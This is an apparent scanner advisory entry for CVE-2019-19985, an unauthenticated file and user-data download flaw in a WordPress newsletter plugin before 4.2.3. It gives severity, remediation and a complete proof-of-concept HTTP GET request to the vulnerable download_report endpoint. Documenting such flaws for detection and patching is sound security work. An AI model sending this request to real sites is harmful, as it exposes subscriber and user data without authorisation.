| Title | WordPress Email Subscribers & Newsletters <4.2.3 - Arbitrary File Retrieval |
|---|---|
| Author | KBA@SOGETI_ESEC,madrobot,dwisiswant0 |
| Severity | Medium |
| Impact | An attacker can access sensitive files on the server, potentially leading to unauthorized access or data leakage. |
| Remediation | Update to the latest version of WordPress Email Subscribers & Newsletters plugin (4.2.3) or apply the patch provided by the vendor. |
| CVSS Score | 5.3 |
| EPSS Score | 0.86715 |
| CVE ID | CVE-2019-19985 |
| CWE ID | CWE-862 |
| Tags | cve cve2019 wordpress wp-plugin edb packetstorm icegram vkev vuln |
WordPress Email Subscribers & Newsletters plugin before 4.2.3 is susceptible to arbitrary file retrieval via a flaw that allows unauthenticated file download and user information disclosure. An attacker can obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
GET /wp-admin/admin.php?page=download_report&report=users&status=all HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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